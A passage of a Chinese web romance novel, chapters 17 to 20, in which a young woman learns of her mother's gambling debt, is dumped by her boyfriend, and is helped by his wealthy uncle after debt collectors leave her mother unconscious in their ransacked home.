李棠梨本能地抬起一只手臂,却不是为了阻止他,而是横过来,率先挡住了自己雾气弥漫的眼睛。 另一只手才迟缓地搭上来,握住他的手腕,宛如一株攀绕的细藤,衬得她更文弱、更纤细了。 顾峙想,她到底是在反抗,还是在顺从? 她的脑袋枕在扶手上,略一歪,露出脖颈上那粒小小的痣,简直跟一个迷似的吸引着他。 明明是一个普通而不起眼的人,但就是…… 简直跟回到了口欲期一样,他迫切地想要咬住什么东西。顾峙咬住后槽牙,总算把那股心痒挫了下去。 他站了起来,居高临下地看着她,说道:“抱歉,是我的失误,没捉住球球,被它挣脱了。你还好吗?” 李棠梨发出微弱的声音:“……没关系,我想缓一下。” 被坏男人占了便宜,还要说谢谢。 她的身体柔柔地斜在沙发上,胸口剧烈起伏,像一张被揉皱的纸。 裙子又卷上去了,两条腿紧紧并拢着。 腿上一凉,手肘撑起上身,李棠梨愕然发现,顾峙居然动手给她往下拽了拽裙摆。 “你……” 她不可置信地看向他,连话也说不出来了,像是第一天认识他。 顾峙直起身,竟和没事儿人一样对她说:“短裙不是很方便。你觉得呢?” 对方的言语表情都挑不出半点差错,十分坦荡地回望着她,那双深灰色的眼睛既镇静又冷淡。 李棠梨迟疑了。或许人家真是好心,帮她拽一拽裙子,不然,总不能眼睁睁看着她走光吧? 就在神思紊乱的时刻,骤然间,门被敲响了。 李 棠梨下意识瞥向他。对上她无措的视线,顾峙深吸了一口气,提醒说:“头发。” 她反应过来,连忙坐正。将凌乱的头发和衣服上上下下整理了一遍。 看着她匆匆掩盖这些痕迹,顾峙心头陡然涌上深深的厌弃。 他面无表情想,简直就跟刚偷完情一样。 他算什么,提醒李棠梨不要在丈夫面前露出马脚的情夫吗? 习惯性整理袖扣,摸了个空,才想起今天穿的不是衬衫。 外头等待的顾语琴又敲了敲门,她疑惑地开口:“哥?棠梨?有人吗?” 见李棠梨收拾得差不多了,顾峙重新坐回桌后:“进来。” 换了一身衣服的顾语琴花蝴蝶似的轻快飞进来。 见李棠梨定定坐在沙发上,她不经意地打量着这两个人,问:“棠梨,你是不舒服吗?脸好红。” “不、呃,”李棠梨犯了结巴,“就是有点热。” 她的借口太过拙劣,语调也不自然,只要是个不太笨的人都能戳穿。 好在顾峙适时开口:“马上快下雨了,屋里太闷。” 他低头看了一眼表,有条不紊地安排道:“时候不早了。你们既然要看电影,就赶紧去,挑个时长短的,天黑了还要送李小姐回家。” 顾语琴没有深究。 面对他哥的叮嘱,她左耳朵进右耳朵出,嗯嗯两声,拉着明显没回过神的李棠梨,一起去往地下一层的家庭影院。 现在,书房里只剩下他一个人了。 顾峙靠在桌边,双腿交叠,无言凝望向那方已经空空如也的沙发。 最近频繁犯起烟瘾,尤其是在此刻,他又想要吸一支烟了。 这可不是个好习惯,顾峙想。 * 晚上七点,李棠梨被司机送回了家。 看完电影就六点多了,顾语琴想留她吃晚饭,李棠梨以时间太晚为由,没有答应。 虽然下午书房里的那一幕是个纯粹的意外,但是一想到顾峙放在她脸上的手,以及拽她裙摆的微妙举动,李棠梨还是觉得相当别扭。 一推开门,却发现家里空落落的。 妈妈人呢? 她环视一周,本来就是小户型,家具又塞得满满当当的,一眼就能望到头,压根藏不住什么。 人不在家里。 这个点,各家各户都应该在家吃饭,张梅婷能跑去哪儿? 她担忧地打了个电话,将大拇指放在口中轻咬。 好在电话铃没响多久,刚接通,张梅婷的声音同步从楼道传来。 “诶,棠棠!怎么了?” 她心下一松,直接挂断了电话。推开门,外面的张梅婷正打算掏钥匙呢,就见门里探出女儿的脸。 她挎着一个包,李棠梨轻声抱怨:“妈,你去哪儿了?我看没人在家,吓了一跳。” 张梅婷一边脱外套,一边笑着说:“我这不是没料到你今天这么早回来吗?他们说附近有个超市快倒闭了,这几天清仓大甩卖,我也想去凑凑热闹,结果人太多了,硬是没挤进去,就回来了。” “下回这种活动就不要去了,你身体不好,我怕挤出什么事儿来。” 李棠梨本来相信了这番说辞。 直到她把晚饭端上桌,坐在灯光下,见张梅婷脸色发白,拿着筷子的手也在轻微发抖。 “你脸色好差。” 李棠梨立马走过去,板起脸说:“妈,和我说实话,到底是怎么了?” 张梅婷打了个哈哈:“我脸色哪儿差了?你别想着说!” 李棠梨又要问,她就顾左右而言他。问烦了,她干脆捂住了自己胸口,诶呦诶呦地喊疼。 跟顽皮小孩似的,把李棠梨也搅得没脾气了,只好暂且揭过今天的事情。 但心里还是隐隐约约不踏实。 半夜坐起身,趁着张梅婷睡熟,她拉开妈妈回家时背的那只包,从中翻出一条围裙。 用手机屏幕照了照,围裙胸口处印着“春夏家政”四个字,底部是一个蓝色的logo。 先在网页查了一下,没找到什么有效消息。她思索片刻,直接在导航APP上输入。 导航显示,这家公司离她家只有2公里的路程。 李棠梨心一沉。 果然,张梅婷在背着她工作。 第18章 你爱怎么想怎么想 妈妈为什么要又找工作? 之前也发生过类似的事。 那次,张梅婷被她逮到在小区超市当理货员,两人大吵一架。 张梅婷是闲不住的性子,一感觉身上有劲儿了,就想赚钱补贴家用。 岂料,李棠梨知道后却一反常态,气得眼泪扑簌簌往下掉,一边抹泪一边不松口,说什么都不许她再拖着病体出去干活。 现实里,妈妈在医院查出癌症之前,早就察觉身体不适。但为了赚钱,一直忍耐着不在她面前暴露。 最后纸包不住火,见人无知无觉地躺在病床上,犹如一道晴天霹雳,径直劈醒了李棠梨。 她在深夜里辗转反侧,数不清多少次自责。 如果她能提早发现,如果她再关心一点妈妈,如果妈妈不用那么劳累,是不是病情就不会恶化得如此迅速? 但终究无济于事,这些遗憾就逐渐成了李棠梨的心病。 可能是看她态度太过强硬,张梅婷终于低头妥协。为了哄她,甚至还签了一份保证书,发誓在身体彻底养好之前,再也不出去干活了。 明明之前说好的,为什么又说话不算数?今天脸色不好,是不是因为太累了? 躺在床上翻来覆去,怎么也想不通,彻夜无法无眠。 第二天上班也是心不在焉,李棠梨特意在晚上告了假,提前六点到家,张梅婷又是不见踪影,环视一周,昨天那个包也被她背走了。 李棠梨攥紧门把手,她没有进门,而是转身敲开了邻居陈姨的门。 “谁啊?” “陈姨,是我,我想问您个事儿。” 陈姨正在做饭,把湿漉漉的手往围裙上一抹,拉开门:“小李啊,进来说吧。” “我就不进去了陈姨。我想问下您,您知道我妈妈最近找了份工作的事情吗?” “这个……”陈姨卡了壳:“没听说过啊小李,这事儿我还真不清楚。” 李棠梨扶着门框的手指紧了紧,随即松开:“打扰您了,我去问问其他人。” 她一转身,形单影只的肩膀上落了一层影沉沉的黄昏,透着一股非要揪出真相的倔劲儿。 陈姨叹了一口气,叫住了她:“别去问别人了。小李,张大姐通过熟人介绍,在一家家政公司当保洁。” 李棠梨停下脚步。 果然被她猜中了。 * 张梅婷明显感觉到这两天工作量超负荷了。 尤其是昨天,本来李棠梨休息日,她一般都不接活,怕被女儿发现。 可李棠梨说要下午出去玩,还提前跟她报备,可能明天早上才回来。 女儿走后,她抓紧这段时间,接了一个临时搬家的急活。 客户下单是两个小时。张梅婷到了实地,发现面积有两百多平,房间多,地上还落满了灰。超时二十分钟,才勉强清扫完。 还被早归的李棠梨撞见从外面回来,一通胡搅蛮缠,好不容易搪塞过去。 今天早上起来,那股疲惫感有增无减,上午躺在床上缓了缓,下午只接了一单,刚干没十分钟,就感觉浑身酸痛,不得不停下歇一会儿。 进度拖得很慢,险些被客户投诉磨洋工,好说歹说人家才肯收回。 扶腰走到小区楼下,一抬头,却见自家灯居然亮着。 心里一突突,她慢吞吞地摸出钥匙开门。不出意外的,李棠梨就坐在屋里,看样子是在专门等她。 李棠梨望向她:“妈,我们谈一下吧。为什么又背着我出去工作?” 还是没瞒住。 张梅婷企图蒙混过去:“棠棠,你瞎说什么……?” 李棠梨打断她:“你不要再骗我了,别人已经告诉我你干保洁的事儿了。春夏家政,对不对?” 张梅婷一僵,没说话。 李棠梨见她又是这种不愿多谈的态度,压抑了一整天的生气和忧虑像泄闸的洪水喷涌而出。 她情绪一激动,就容易往脸上冲,眼睛一阵发烫,泪水也涌出来。 “我们之前不是商量好了吗?我努力工作赚钱,你身体不好,就不要出门了。而且干保洁多累啊,万一你工作的时候出个意外怎么办?我不能、呜……” 我不能再失去一次你了。 张梅婷抽了两张纸,按住女儿的脑瓜,还像给小孩洗脸似的囫囵转着圈为她擦泪,哄她:“好了好了,不哭了,妈错了。” “唔唔,”李棠梨被擦得有点疼,没敢明说。 她吸了一下鼻子,揪过妈妈手里的纸,哽咽道:“那你辞职。” 又是一阵沉默。 李棠梨捏着那团不成样的纸巾,难过地低下头:“为什么?为了挣钱,连身体都不管不顾吗?” 对啊,就算是再闲不住,那也应该是趁她状态好的时候。 现在明眼人都能看出她不舒服,即便如此,为什么还要死撑? 电光火石之间,她捋了一遍女配的回忆,喃喃自语:“难道是因为赌债?” 见她神情一变,李棠梨瞬间意识到问到了要害:“赌债不是还清了吗?难道还没有?” 张梅婷这下是真的死活不肯说了,她匆匆别过头,走到厨房洗手。 李棠梨焦急地跟在她身后:“还欠多少?几千还是几万?” 水龙头哗哗地响。张梅婷叹气:“听我的,你别掺和这摊子事儿。不要问了。” 李棠梨坚持说:“你告诉我多少,我把钱凑出来给你。只要你不出去工作,我干什么都行。” 这话一出,张梅婷啪得一下关上开关,朝她发火了。 “十万,那可是十万,你一个月几千块钱工资,从哪儿变出来十万?说什么也不听,都跟你说了不用你管!怎么就这么犟!” 怪不得她这么拼命,原来是十万,整整十万块钱。 “别想这事儿了,”爆发之后,看着双眼通红,跟兔子有一比的女儿,她又软下声:“听话,赌债我慢慢还,总有一天会还上的,你年纪轻轻,千万别干傻事。” 李棠梨静静站了一会儿,泪痕干涸在脸上,一扯动嘴角,就牵拽着出绷紧的痛感。 刚刚情绪激动,现在冷静下来一想,那伙人肯定是使用手段催债了,不然妈妈不可能踩着身体的红线也要挣钱。 在她的社交圈内,绝大多数人短期内确实都拿不出来十万块钱。就算把能借的一个一个问过去借遍,顶多也就凑出一两万。 除了一个人。 晚上,李棠梨点开纪嘉誉的聊天框,对方上次回复她还是在上上个礼拜。 她斟酌着言语,打下借款信息。沉默了片刻,没有直接按下发送键——十万块钱毕竟不是一个小数字。 况且,之前她也没有主动跟纪嘉誉提过钱的事。都是他嫌丢人,直接打钱到卡上,让她去买些上台面的衣服首饰。 一下要借这么多,出口前难免有点心理障碍。 随意点开他的朋友圈,却意外发现,万年不发朋友圈的纪嘉誉居然在前天更新了一张照片。 拍摄的是黄昏时的海边。天空被染成热烈的橘红色,落日在波光粼粼的海面洒下点点碎金。 唯一一个闯入这副绮丽美景的人,是海中的一个女孩。 虽然她位于照片右下角,但存在感却很强。女孩穿着清凉的泳衣,背对着镜头,看不清五官,夕阳勾勒出柔美的身材,娇媚可人。 是无意间拍下的吗? 李棠梨不安地放大细节,冥冥中的第六感告诉她,这个女孩和纪嘉誉一定是认识的。 她还算了解纪嘉誉的性格。在他们交往的这段时间里,他从来没有发过与她相关的只言片语。 将手机抵住下颌,犹豫片刻,看时间还不算太晚,李棠梨躲到卫生间,打了一个电话过去。 铃声响了好一会儿,才不慌不忙接通。 传来的却是女声:“喂?” 心高高悬起,李棠梨攥紧手机:“你是?” 背景音里模模糊糊透过来纪嘉誉的声音:“手机给我。” 他接过手机:“给我打电话,有什么事吗?” “嘉誉,你是出去玩了吗?” 纪嘉誉愣了愣,才反应过来:“查岗啊?对,和朋友出来玩两天。” 出去旅游,连一声招呼也不打吗? 卫生间的灯白得灼眼,李棠梨盯着鞋尖:“我看到你朋友圈的照片了。” “嗯,”纪嘉誉瞪了一旁笑吟吟的舒冉一眼:“当时玩游戏输了,发着玩的。” “……你和照片里的那个女孩一起去的吗?” 静了两秒,对面声音渐冷:“李棠梨,你怀疑我?” 李棠梨不知道他为什么突然生气了,连忙解释说:“因为我很少见你发朋友圈,就想问一问,嘉誉,我没有怀疑你。” 纪嘉誉已经听出她的意思,他嗤笑一声,干脆承认了:“是,我是和她一块来了,那又怎么了?”又不是只有他们两个。 一旁的舒冉收起了笑意,换上一副忐忑的神情。 她做口型:“闹别扭了?” 纪嘉誉没回答她。 他等了等,对面的李棠梨居然沉默了。 他顿时大为光火,声音却一反常态地淡了下来:“算了,你爱怎么想怎么想。既然你不相信我,那就直接分手吧。不用再打过来了。” “等等!” 电话毫无征兆地直接挂断了。 反应过来的李棠梨手足无措。 她立刻重播了回去。 脑子里一团乱麻,怎么一下闹到要分手的地步了?她的初心明明只是想问问他。 是因为刚刚没有及时回复他吗?可是,得知纪嘉誉是和那个女孩一起旅游,她真的很难不在意。 刚刚接起电话的人,也是她吗? 另一边,纪嘉誉重重摔下电话,心绪起伏。 舒冉探过身,满含愧疚地说:“你女朋友是不是因为那张照片生气了?” 那天玩真心话大冒险,纪嘉誉输了,惩罚是要把那张有她背影的照片在朋友圈挂三天。 她为难地说:“要不然,你删了吧。要是因为这个玩笑害你们分手,我心里过意不去。” 她这么一说,反倒显得李棠梨小题大做了。 纪嘉誉也这么想:“不关你的事,是她越界了。” 李棠梨爱信不信。 其实打一开始,他们之间就不是正常健康的情侣关系,纪嘉誉前期一直拿她当被包养的女人看。 要不是李棠梨太喜欢自己,后来也不会默认成女朋友。 因此,在这段感情的天平里,自始至终都是不平等的。 李棠梨从来没有决定的权力。纪嘉誉可以冷落她,不回复她的消息,和别的女孩出去旅游。 一旦李棠梨反过来,想要干涉他,哪怕只是轻微的怀疑,这种艰难维持的虚假平衡就会被彻底打破。 他们几个人正在一间会所唱歌。见纪嘉誉心情不好,识相地切到几首慢调情歌。 方才纪嘉誉说的话,就连听者都会觉得他对她十分无情。 可舒冉余光扫过去,却见纪嘉誉重新把手机搁在了眼皮子底下。 一个接着一个电话打过来,一直打到第三个,对方意识到他不会接,就不打了,改发微信。 纪嘉誉垂眸,漫不经心地唱歌。眼睛却一直盯着屏幕,从明到灭。 三个电话,几条信息,都没回。 要说他不在意,那何必把手机放在台面上,像是等着人家给他发消息;要说他在意,他 就真的只是漠然看着李棠梨着急,不发一语。 舒冉笑了一声,回想起餐厅里那个怯生生的女孩。 她问:“人家打了三个电话,不回吗?” 纪嘉誉挪开眼:“先晾她几天。” 第19章 她居然还不打算和纪嘉誉…… 几天过去了,纪嘉誉再也没有回过她只言片语。 李棠梨时不时盯着这个只有她单方面发消息的聊天框发呆。 身旁的人好像是在说话,却传不进她的耳朵里,如同来自什么很远的地方。 直到耳边炸开一声脆响,她受到惊吓,才恍惚回神。 是顾语琴。她放下拍掌的手,歪头问:“你怎么走神了?” 李棠梨才反应过来,她正在顾家做客,慌张摁灭了屏幕:“我没注意你回来了。” 她们俩坐在地上打游戏,打完一局,顾语琴说去上个厕所。李棠梨掏出手机,不知不觉间,又点开纪嘉誉的头像。 朋友圈的那张照片还是原封不动地挂在那儿,刺着她的眼睛。 “跟我道什么歉?”顾语琴早就看出她今天的反常,她凑过去,隔着很近的距离,伸出指头,轻轻摁住李棠梨眼下泛青的眼睑:“你看起来很累,还好吗?” 不知道是不是因为顾语琴自小深居简出,她对朋友之间社交距离的把握总是失衡。 李棠梨睫毛抖了抖,本来已经快脱敏了,顾语琴一上手,她还是有些受不了。 可惜身后靠着坐垫,无路可退。 她一边被人家摸着脸,一边老老实实地说:“现在晚上多了一个兼职,这几天睡得晚,没休息好。” “不是在餐厅当服务生吗?” “嗯,想多干点活挣钱。”她很含糊地说。 其实也不是没想过跟顾语琴借钱。只是这样不免有挟恩图报的嫌疑,加上她们认识的时间不长,她张不开口。 十万,对顾语琴来说只是过一次生日的花费;对李棠梨,却是难以启齿的自尊心。 虽然她自己也清楚,那点自尊并不值几个钱。 顾语琴坐回她身旁,肩并肩紧挨着她:“好辛苦,要不要睡一会儿?” “没事的,不至于那么困。” 又打完两局,李棠梨捏着手柄,踌躇着问出了今天这趟的主要目的:“语琴姐,我有件事想问一下你。” 顾语琴扭过来看她,示意她讲。 “你知道嘉誉这几天去哪儿了吗?” 将胳膊支在靠枕上,顾语琴却望向了李棠梨的侧后方。那扇原本严丝合缝的门,现下微微敞开了一条缝。 但开门的人只是静静站在外面,没有要走进来的意思,聆听着她说的每一个字。 唯独一道瘦长的影子从窄小的缝隙内渗出来,黑沉沉的,钻进屋子里,似乎要淌到正在说话的女孩身下。 顾语琴不揭穿,回答说:“哦,小鱼啊。他应该是去海边度假了,没告诉你吗?” “那他有没有说过,是和谁出去的?” 顾语琴假装思索:“我想想,还是那几个人吧?” 细数了几个人名,她话锋一转,压低声:“对了,我听大姐说,他最近好像还认识了一个女孩,是舒家的远亲,叫什么舒冉?” 舒冉? 李棠梨眼皮一跳,这名字有点耳熟,可她明明不认识这个人才对。 不对,她霍地想起来了,这是原小说剧情前期女二的名字! 在白月光回国之前,舒冉是男女主感情线发展中最大的阻碍之一。她三番四次暗中挑拨男女主感情,让女主吃了大亏。 舒冉和男主交往了两年。即使分手后,依然以解语花的身份伴随其左右。 两人不是恋人却胜似恋人,行为举止十分亲密。如果没有女主,或许最后和男主修成正果的会是她。 原来,在这个时间点,舒冉就已经出场了吗? 纪嘉誉的异常一下变得有迹可循。照片、莫名的怒火、急切地要求分手,这一切是不是都在说明,纪嘉誉已经喜欢上她了? 紧接着,李棠梨意识到一个接踵而至的可怕事实——任务失败了。 连这次最后的机会也错失掉,她是不是永远也不回去了? 顾语琴的声音不大不小:“棠梨,你难道是怀疑他们两个……?” 李棠梨摇摇头,脸色煞白地说:“我不清楚。” 没料到这件事对她打击这么大,顾语琴一时有些失语:“你……” 在这时,门被及时叩响了。 顾峙出现在门口:“下来吃饭。” 她们起身,顾峙望见像是丢了魂似的李棠梨。 三个人坐电梯下楼,李棠梨脑中乱糟糟的,半是恐惧半是茫然,不知不觉走在了最前。 她没发现,顾家兄妹刻意落在她身后。 顾语琴轻轻地说:“哥,我没想到她会这么难过。” 她顿了顿:“她好像真的很喜欢小鱼。” 顾峙无言,半晌后才沉沉嗯了一声。 用餐的只有他们三个人,顾淑凤今天不在家吃饭。 餐桌上异常寂静,只有碗筷器皿偶尔的碰撞声。 李棠梨味同嚼蜡,比顾语琴一个病人吃得还少。但为了不扫兴,还是强行往嘴里塞。 顾峙的左手搁在餐桌上,他攥了攥,启唇道:“吃不下不要勉强。” 李棠梨放下勺子,扯出一抹笑:“抱歉,浪费了这么多,我今天有点不舒服。” 想到这次任务失败后未知的后果,她彻底失去了玩闹的心情。晚饭后没逗留多久,就提出告辞。 令她有点惊讶的是,顾峙穿上外套,说是要一同送她。 两个人又隔着一条河,分别坐在后座两端。 走到僻静的路段,昏黄的光线与黑暗在车内不停交错,她额头抵在车窗上,面容忽明忽暗地闪现,流露出憔悴和难过。 顾峙突然说:“怎么坐那么远?” 没防备他会出声,又是这种没头没尾的问话,李棠梨一时懵了。 顾峙语气平静,却不容置喙:“坐过来。” 这种略显强硬的态度,其实正适合此刻六神无主的李棠梨。她乖乖往旁边挪了挪,虽然没挪多少,好歹拉近了一点距离。 “你好像有些心事,介意和我说一说吗?” 他升起挡板,隔绝了司机的视线。现在,后座彻底是属于他们二人的私密空间了。 李棠梨没注意到,她只是点了点头,不愿多说。他毕竟是纪嘉誉的亲舅舅。 没想到,顾峙的下一句话却直接戳破了那层窗户纸:“是因为纪嘉誉吗?” 他怎么也知道这件事? 李棠梨朝他望去,见顾峙正一错不错地盯着她。忙将视线瞥下来,停在他交握的手上:“嗯。” “你是怎么打算的?” “我……” 还能有什么打算?她浑浑噩噩地想,纪嘉誉已经为了舒冉和她分手,她并不认为自己有让男主回心转意的魅力。 任务正式宣告失败,不过是时间问题。 然而,在顾峙的眼中,她的沉默却完全变成了另外一种意思。 他原本还算平静的脸色骤然冷了下来,眼珠沉得暗不透光。 一言不发地靠在后方,凝视着毫无所察的李棠梨,神色几乎有些阴鸷。 ——事情闹到这种地步,她居然还不打算和纪嘉誉分手! 他那个外甥对她根本没有一丝尊重可言,让她穿暴露的服装,对她忽冷忽热,逼她跳进冰冷的泳池,甚至背着她和别的女人出去旅游,这无疑于公开出轨。 即便如此,李棠梨依旧对他甘之如饴。哪怕得知他的背叛,也息数原谅,甚至不愿提起分手这两个字。 她就这么喜欢他? 顾峙的心头泛起难言的酸涩。 是他把纪嘉誉有出轨苗头的事透露给顾语琴,好让她找准时机告知李棠梨。 别人知道了,或许还要盛赞他为人光明磊落,哪怕是外甥做了错事,也绝不徇私包庇。 究竟是不是光明磊落,出于好心还是私心,顾峙自己也说不清。 可在这一刻,他从未如此清晰地意识到,他居然在嫉妒纪嘉誉。 他很少会生出嫉妒心。 豪门贵胄,含着金汤匙出生 的天之骄子,自小接受精英教育,吃穿用度都是金字塔最顶端的一小撮人。 在一片坦途的人生里,顾峙很少碰到什么求而不得东西。他想要什么,最终都会得到。 所以,从来不需要这种无能、卑微的情绪。 然而,看着李棠梨为纪嘉誉暗自神伤,名为嫉妒的毒蛇死死缠缚住了他的心。 往常的理智被蚕食得所剩无几,顾峙感到胸口发闷,他解开领口,敞露出一截锁骨,不受控地冷笑了一声。 这令李棠梨不知所谓,觉得顾先生今晚有些古怪。 车内再度安静下来。 为了避免街坊邻里人多眼杂,司机按照她以往的要求,将车停在了离家两站地之外的公交车站。 道过谢,正要下车,身后却传来了男人不辨喜怒的声音:“送你到家门口。” 李棠梨客气地说:“不用了,就剩几步路,我在这里下就好。” “说地址。” 他们停在一颗树下,斑驳的树影遮挡住了顾峙的脸。 李棠梨看不清他的神情,却本能地察觉到不对。 她把话咽了下去,小声跟司机指路:“往前走,右拐。” 一直行驶到楼下,车才缓缓刹住。 顾峙扭过脸,见李棠梨又缩回了窗边,右手还紧紧握着把手。 他顿时有些懊悔,明知她胆子小,还是吓到了她。 他低声说:“抱歉。” 车门一开,李棠梨不带半分犹豫,立刻下了车。 坐在车里,顾峙没有第一时间开走,而是目送她的身影消失在单元门里。 他揉了揉太阳穴,不知道自己今晚都做了什么。 三分钟后,车再次起步。 可刚开出去五十米不到,司机看了眼后视镜,放慢了车速,迟疑地说:“顾总,李小姐又下来了。” “什么?” 他诧异地回过头,去而复返的李棠梨跑过来,她不停地朝着车的方向挥手,极力试图拦住他的车。 女孩带着哭腔的喊声划破了寂静的黑夜:“顾峙!” 第20章 这样就看不到了,哭吧。…… 李棠梨关上车门,概因顾峙今晚的不同寻常,她连招呼都没打,像是后面有人在追似的,匆匆三步并两步,头也没回地进了楼。 离家门还有几步之遥,她忽地发现,家门似乎是虚掩着,没彻底合上。 张梅婷睡前都要检查两遍窗户和门,在安全问题上历来非常谨慎,不可能这么粗心大意。 觉察到不对,一股不祥的预感陡然窜上心头,李棠梨奔到家门,一拉开门,脸霎时间褪尽血色。 屋里像是被洗劫过,衣服被褥全被翻箱倒柜掏了出来,连锅碗瓢盆也都悉数扫到地下,满地都是碎玻璃片。 在一片狼藉里,她赫然看见张梅婷侧身倒在地上,一动不动。 “妈!” 李棠梨失声扑过去,伏在她身上,接连慌张地唤了好几声。张梅婷不省人事,只有微弱的呼吸,必须要马上送去医院。 脑海中一时吓得只剩下本能,她抖着手掏出手机,下意识要叫救护车。 车?顾峙有车! 思及此,李棠梨一骨碌爬起来,扭头往楼下冲。 老小区没有电梯,楼梯间的声控灯不灵敏,她跑得太急,险些从台阶绊跤滚下去,半点也顾不上,只恨自己只有两条腿,迫切地希望快一点,再快一点。 直奔楼下,那辆车却马上就要开走了。 胸腔炸出呼哧呼哧的喘声,亲眼目睹希望的流逝,李棠梨拼尽全力朝他挥舞手臂,第一次完整叫出他的名字,却是黑夜里一声充斥着绝望和无助的叫喊:“顾峙!顾峙!” 车里的顾峙立刻道:“停车!” “顾、顾总!” 司机吓得一个急刹,没想到一向镇定从容的顾峙竟然不待车没停稳,就直接推门跨了下来。 看李小姐这样,明显是出了事儿。司机赶紧停好车,也想过去帮忙。 他下车,只瞧见那位李小姐跟抓到一根救命稻草似的握住了顾总的手臂。她喘着气急切地说了什么,顾总脸色一变,动身也往楼里跑去。 步伐匆匆间,他回头朝想跟过来的司机比了一个手势,意思是留下,把车倒回来。 很快,顾总背着一个失去意识的中年女人出来,身旁是亦步亦趋的李小姐。 “去最近的医院!” 几人上了车,司机一脚踩下油门,片刻没有耽误,直奔医院而去。 在急救室外等候时,李棠梨抵墙而立,心急到一定程度,人反倒是木讷了。表情空白,不知如何反应。 顾峙站在对面,见她就这么魂不守舍地站了半个小时,像是一尊木雕。 直到依旧处于昏迷状态的张梅婷被推出急救室,她才重新活过来,眉宇间有了一丝生气,紧张地凑过去询问医生具体情况。 好消息是,张梅婷是短暂性脑缺血加过度疲劳引发的昏厥,目前没有生命危险。 可是,没等李棠梨松口气,医生就再度残忍地打破了希望。由于张梅婷本身的基础病症复杂,有脑卒中的风险,需要留院观察。 下午她出门时,张梅婷还好端端的,不忘叮嘱她路上小心;夜里回来,人就神志不清躺在了病床上。 李棠梨不傻,真相也并不难猜。联系起这些日子张梅婷的异常,今晚肯定是那伙催债的人找上了门。 他们先把家里翻了个底朝天,没找到什么值钱的东西,恼羞成怒,就对张梅婷动手推搡,导致她跌在地上,就此昏迷过去。 自责、恐惧、难过,种种复杂的情绪冲上心头,望着病房里的张梅婷许久,李棠梨忽而背过身。她低下了头,一言不发。 怕她受到太大打击,一旁的顾峙叫她:“李棠梨?” 没得到回应,他快步走到她面前,突然一顿。 她在流泪。 默默啜泣道:“对不起,我就不应该……都怪我……” 如果她没有因为说错话惹纪嘉誉生气,如果她没有犹豫跟顾语琴开口借钱,或许他们也不会狗急跳墙找到家里来。 是她太天真,以为事情尚且有回旋的余地,以为自己晚上加班加点熬夜做兼职,多打一份工,就能拦住妈妈白天出去干活。 李棠梨想,她才是真正的元凶。 她哭得满脸都是水,用手去擦,手上也沾了泪,怎么也擦不完。 望见那双流泪的眼睛,顾峙呼吸微滞。 有一种隐痛迅速击中了他。她滚烫的眼泪没有掉在地上,而是掉在了他胸口上、落在了他掌心里。 明明是毫不相关、没有一丝相似性的独立个体,是本该一生都不会相交的平行线,然而为什么她的痛苦能漫过虚空,传递到他的身上? 哭声渐渐大了,李棠梨情绪崩盘,无法抑制住了。她捂住自己的脸,不想让别人看到这副脆弱的神情。 顾峙伸出了手臂。 大手抚住她的后脑勺,轻轻一带,把这个可怜的女孩顺势压在了他的怀里。 他低声说:“这样就看不到了,哭吧。” 李棠梨紧紧揪住他的胸襟,熟悉而温和的木质香簇拥过来,她把脸埋在顾峙的胸膛上,终于无所顾忌地哭起来。 深夜医院的走廊里,高大的男人半抱着哭泣的女孩,两人之间弥漫着一股说不出的氛围,吸引了为数不多的几个人的注意。 是情侣吗? 伏在他身上的女孩肩膀微微耸动,缩在他怀里哭泣。 男人揽住她,下颌情不自禁地贴住了她的发顶,亲密地熨帖着她的每一次颤抖,无言地安抚她。 哭了一阵,李棠梨才稍稍止住。 她有些筋疲力尽,因而没有第一时间挣脱,而是靠在他的臂弯上,抽噎着挤出一句没头没尾的话。 “我、呃,把你的衣服蹭脏了。” 顾峙垂眼,见她像是哭累了,睫毛上还挂着点点泪珠,他缓缓放开她:“好点了吗?” 她点点头,站稳,依然有些抽噎,但情绪已经稳定了下来。 脸上湿漉漉的,很不舒服,身上没带纸巾,李棠梨拿袖子胡乱去擦,蹭得脸颊泛起一片红。 看着看着,顾峙就皱起了眉。人家没说什么,他倒是心疼起来,觉得她 太不爱惜自己。 他低下头,捧住了她沾满泪水的脸。 女孩的脸就被包在他宽大的手心里,下颌被带着上抬,冰凉的手指拭去眼角的泪珠,在一片泪花朦胧中,李棠梨对上他的眼睛,心重重一跳。 顾峙不自知,他完全意识不到自己此刻的眼神。 但这眼神却令李棠梨立刻撇开了眼,她后退一步,躲开了他的手。 这一步像是敲醒了他,顾峙落空的手在半空中虚握了一下,放回身侧。 在短暂的无言后,李棠梨率先打破了沉默。 她做足了心理建设才开口,但声音乍听还是十分僵硬:“顾先生,我想请您帮个忙。” “可以。” “是这样的……”说了几个字,李棠梨突然反应过来他已经答应了。 她准备的那些说辞一个没用上,诧异地说:“可是你都没有问我是什么事。” 顾峙颔首:“什么事都可以。我跟你说过,你救了语琴,有什么困难尽管来找我。我说过的话都算数。” 他言语平静,话语间有一种笃定的可靠感。像是哪怕她出了天大的乱子,他也有办法摆平。 他这种笃定极大地稳住了李棠梨的心绪,于是,她把前因后果说了一遍。 听完,顾峙发现,其实她们母女真正的隐患并不是债务,而是穷追不舍的债主。交出这十万块钱,很大可能会喂大他们的胃口。 他同样目睹了李棠梨家里混乱的情况。上门暴力催债,债主显然是涉黑小团伙,那个老小区已经不能待了,她们的当务之急是如何保证自身安全。 李棠梨也考虑到了这一点,她焦虑地说:“那我们是不是应该马上搬走?” 这被顾峙冷静地否决了:“来不及了。搬家不是小事,租房和搬运都需要时间。今晚你可以在医院陪护,明天呢?你睡在哪儿?” 见她语塞,顾峙推出了他的解决方案:“我在枫湖湾有套公寓,安保系统上个月刚升级,人员出入管理很严格。” 李棠梨睁大眼睛,住到他家里吗? 没等她把拒绝脱口而出,他补充说:“我是这么考虑的。那套公寓离语琴长期就诊的私立医院不到十分钟车程。我在那儿认识几位专家,如果你同意,可以安排你母亲转院,做个全面检查。” 闻言,李棠梨又沉默了。 是啊,专业的私立医院,顾峙又与专家相熟,她完全没有理由拒绝。 可又是借住,又是转院,身为她“男朋友”的舅舅,简直不能再贴心、再周到了。即使是纪嘉誉,做的也不能比他更好了。 没有退路的李棠梨接受了这份沉甸甸的好意,不好意思地说:“真是太麻烦你了,顾先生。” “你当时也救了我妹妹,不必客气。”顾峙淡淡地说:“为了方便联系,你记一下我的电话。” “啊,好。”李棠梨摸出手机。 第二天,张梅婷终于醒了。 她看着陪护在病床旁一脸憔悴、为她整夜提心吊胆的女儿,终于竹筒倒豆子似的说出了实情。 昨晚真实情况的确就如李棠梨推测的那样。一听到那伙人是敲诈勒索,李棠梨瞬间联想起了顾峙说过的话。 转院和搬家迫在眉睫,必须提上日程了。 